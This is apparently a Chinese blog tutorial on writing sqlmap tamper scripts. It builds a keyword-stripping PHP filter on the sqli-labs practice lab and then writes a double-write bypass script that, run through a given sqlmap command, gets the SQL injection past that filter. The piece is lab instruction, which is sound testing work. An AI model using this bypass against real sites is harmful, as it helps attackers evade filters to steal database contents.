目录

前言

tamper脚本实战


前言

sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。

为了说明tamper的结构,让我们从一个最简单的例子开始

# sqlmap/tamper/escapequotes.pyfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWESTdef dependencies():passdef tamper(payload, **kwargs):return payload.replace("'", "\\'").replace('"', '\\"')

不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。

  • priority定义脚本的优先级,用于有多个tamper脚本的情况。如果你加载多个tamper,谁的优先级高,谁被优先使用。(优先级共有七个,分别为;LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST)
  • dependencies函数声明该脚本适用/不适用的范围,可以为空。
  • tamper是主要的函数,接受的参数为payload和**kwargs。返回值为替换后的payload。比如这个例子中就把引号替换为了\\'。payload参数是sqlmap进行自动注入时的sql语句,要替换的就是payload,来完成想要的绕过。kwargs是修改http头里的内容函数,如下图

tamper脚本实战

1. 环境设计

这里对sqli-labs第一关环境进行修改,增加过滤函数如下

function sqlwaf( $str ) {$str = str_ireplace( "and", "", $str );$str = str_ireplace( "or", "", $str );$str = str_ireplace( "union", "", $str );$str = str_ireplace( "select", "", $str );$str = str_ireplace( "sleep", "", $str );$str = str_ireplace( "group", "", $str );$str = str_ireplace( "extractvalue", "", $str );$str = str_ireplace( "updatexml", "", $str );$str = str_ireplace( "PROCEDURE", "", $str );return $str;
}

对传入的函数先经过这个函数的过滤

经过这个过滤后,我们直接使用sqlmap进行注入是注入不成功的

所以我们需要对sqlmap的payload进行修改,根据过滤函数规则,我们可以进行双写绕过单次过滤

2. tamper编写

因为关键词被过滤为空,导致payload不能正常执行,那么就可以编写这样tamper

waf.py内容:

# sqlmap/tamper/escapequotes.py
from lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef dependencies():passdef tamper(payload, **kwargs):if payload:result = payload.replace("OR", "oorr").replace("AND", "aandnd").replace("UNION", "ununionion").replace("SELECT", "seleselectct").replace("PROCEDURE", "PROCEPROCEDUREURE").replace("SLEEP", "slesleepep").replace("GROUP", "grogroupup").replace("EXTRACTVALUE", "extractvextractvaluealue").replace("UPDATEXML", "updatupdatexmlexml")return result

将waf.py放到sqlmap\tamper目录下,然后执行

sqlmap.py -u url -v3 --tamper=waf.py --batch

sqlmap关键词都被替换,如下and

成功注入出来了

sqlmap之tamper脚本编写相关推荐

  1. 渗透测试-sqlmap绕过WAF脚本编写

    sqlmap绕过WAF脚本编写 文章目录 sqlmap绕过WAF脚本编写 前言 一.什么是sqlmap和tamper脚本 二.利用sqlmap脚本进行扫描获取数据库信息 1.编写sqlmap绕过WAF ...

  2. sqlmap之tamper脚本

    sqlmap之tamper脚本 进行注入时,往往会遇到服务端主机装有 WAF(Web Application Firewall)对 Payload 进行过滤的情况,这使得注入攻击无法成功实施.但 WA ...

  3. sqlmap tamper脚本编写

    0x00 sqlmap tamper简介 sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf. 0x01 ...

  4. sqlmap之tamper的使用介绍

    使用sqlmap中tamper脚本绕过waf_cherrie007的博客-CSDN博客 sqlmap中tamper的简介 - 御用闲人 - 博客园 就是它

  5. mysql常用的tamper脚本_总结一些sqlmap的常用tamper脚本释义

    要想成为一名合格的"脚本小子",我们首先需要一个强大的工具,然后利用好他的脚本.但是脚本也不能乱用,首先就是要了解一下SqlMap的常用的脚本,然后分清楚场合进行利用.(好的,看开 ...

  6. SQLMAP插件tamper编写与使用

    今天继续给大家介绍渗透测试相关知识,本文主要内容是SQLMAP插件tamper编写与使用. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次 ...

  7. sqlmap中的tamper 脚本分析

    space2randomblank 作用:空格替换为备选字符集中的随机字符 例子: ('select id from users') ( select %0Did%0DFRM%0A users') 详 ...

  8. sqlmap tamper mysql_sqlmap之常用tamper脚本

    常用tamper脚本 apostrophemask.py 适用数据库:ALL 作用:将引号替换为utf-8,用于过滤单引号 使用脚本前:tamper("1 AND '1'='1") ...

  9. Bypass 360主机卫士SQL注入防御(附tamper脚本)

    0x01 前言 在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势. 0x02 环境搭建 Windows Server 200 ...

最新文章

  1. (转载)(c#)数据结构与算法分析 --数组、向量和表
  2. 什么样的女人才算是好老婆?
  3. 在Wireshark中查找数据包
  4. UDP千兆以太网FPGA_verilog实现(三、代码前期准备-时序要求)
  5. mysql异机备份_RMAN异机恢复备份集权限问题
  6. CATIA怎么约束快捷键_3ds Max 常用快捷键大全,你学会了吗
  7. Vue学习笔记之04-computed计算属性
  8. 利用QGIS免费批量获取Google、Bing等高分辨率卫星影像
  9. excel2013加载matlab宏,Matlab可以通过ActiveX在Excel文件中编写宏吗?
  10. 20210520:人脸识别-口罩mask快速抠取
  11. QAC/QAC++静态软件代码测试分析-试用工具
  12. Computer Networking——transport layer QA
  13. 算法学习笔记:排序算法
  14. 解决Android打包Entry name ‘res/animator/linear_indeterminate_line1_head_interpolator.xml‘ collided
  15. node-java_node-jvm
  16. RBP系统管理之服务器参数管理
  17. pikachu之sql注入
  18. 浏览器趋势2015年2月:美国IE8反弹
  19. Tensorflow一些常用基本概念与函数(2)
  20. 基于Android的备忘录软件,基于Android的手机备忘录软件设计

热门文章

  1. 计算机编程专业的民办大学排名,法国计算机编程专业大学排名(2020年USNEWS)_快飞留学...
  2. 使用按键精灵实现界面点击自动化
  3. VBA小程序--针对所有已经打开的Excel文件_格式调整_针对所有工作表_冻结首行_无视所在位置
  4. LINUX:Ubuntu重装虚拟机后无法拖拽文件的解决方法
  5. c++ 求解一元二次方程 全面考虑实根和虚根的情况
  6. 论文阅读笔记《PoseCNN: A Convolutional Neural Network for 6D Object Pose Estimation in Cluttered Scenes》
  7. 矩阵笔记1:矩阵分析(第三版)-史荣昌-第一章:线性空间和线性变换
  8. vue-cli和Element-UI搭配web前端
  9. CTF入门指南(0基础)
  10. windows系统完全换ubuntu